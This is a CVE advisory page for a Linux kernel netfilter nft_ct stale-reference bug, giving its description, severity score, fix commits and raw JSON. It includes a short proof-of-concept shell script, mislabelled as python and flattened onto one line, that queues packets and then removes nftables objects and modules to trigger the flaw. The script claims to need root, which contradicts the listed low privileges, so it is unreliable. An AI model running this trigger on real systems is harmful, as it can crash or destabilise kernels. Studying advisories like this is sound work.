Security Vulnerability Report
中文
CVE-2026-43060 CVSS 7.8 HIGH

CVE-2026-43060

Published: 2026-05-05 16:16:15
Last Modified: 2026-05-08 13:16:37
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_ct: drop pending enqueued packets on removal Packets sitting in nfqueue might hold a reference to: - templates that specify the conntrack zone, because a percpu area is used and module removal is possible. - conntrack timeout policies and helper, where object removal leave a stale reference. Since these objects can just go away, drop enqueued packets to avoid stale reference to them. If there is a need for finer grain removal, this logic can be revisited to make selective packet drop upon dependencies.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel < Commit 36eae0956f659e48d5366d9b083d9417f3263ddc
Linux Kernel < Commit 3da0b946835f33bf36b459ead764c61a761e689b

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC Concept for CVE-2026-43060 # Needs root privileges to load modules and configure nftables # 1. Setup environment modprobe nf_tables modprobe nfnetlink_queue # 2. Create nft table and queue rule nft add table ip filter nft 'add chain ip filter input { type filter hook input priority 0 ; }' nft add rule ip filter input queue num 0 # 3. Generate traffic (e.g., loopback ping) to enter the queue ping -c 1 127.0.0.1 & TRAFFIC_PID=$! # 4. Wait for packets to be enqueued sleep 0.5 # 5. Trigger the vulnerability path by removing the table/module # In vulnerable versions, this leaves stale references. nft delete table ip filter rmmod nft_ct 2>/dev/null rmmod nfnetlink_queue 2>/dev/null # 6. Cleanup wait $TRAFFIC_PID

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43060", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-05T16:16:15.050", "lastModified": "2026-05-08T13:16:37.143", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_ct: drop pending enqueued packets on removal\n\nPackets sitting in nfqueue might hold a reference to:\n\n- templates that specify the conntrack zone, because a percpu area is\n used and module removal is possible.\n- conntrack timeout policies and helper, where object removal leave\n a stale reference.\n\nSince these objects can just go away, drop enqueued packets to avoid\nstale reference to them.\n\nIf there is a need for finer grain removal, this logic can be revisited\nto make selective packet drop upon dependencies."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/36eae0956f659e48d5366d9b083d9417f3263ddc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/3da0b946835f33bf36b459ead764c61a761e689b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/6802ff8beceb9c4254318e81c1395720438f2cc2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/77da55dee67720e2b8d2db49a53334e6c017ee7b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/8a64e76933672b08bd85b63086f33432070fd729", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/ab50302190b303f847c4eba0e31a01a56dec596e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/e68a8db3a0546482b34e9ca5ca886bcf73eb37bb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/f29a055e4f593e577805b41228b142b58f48df1b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}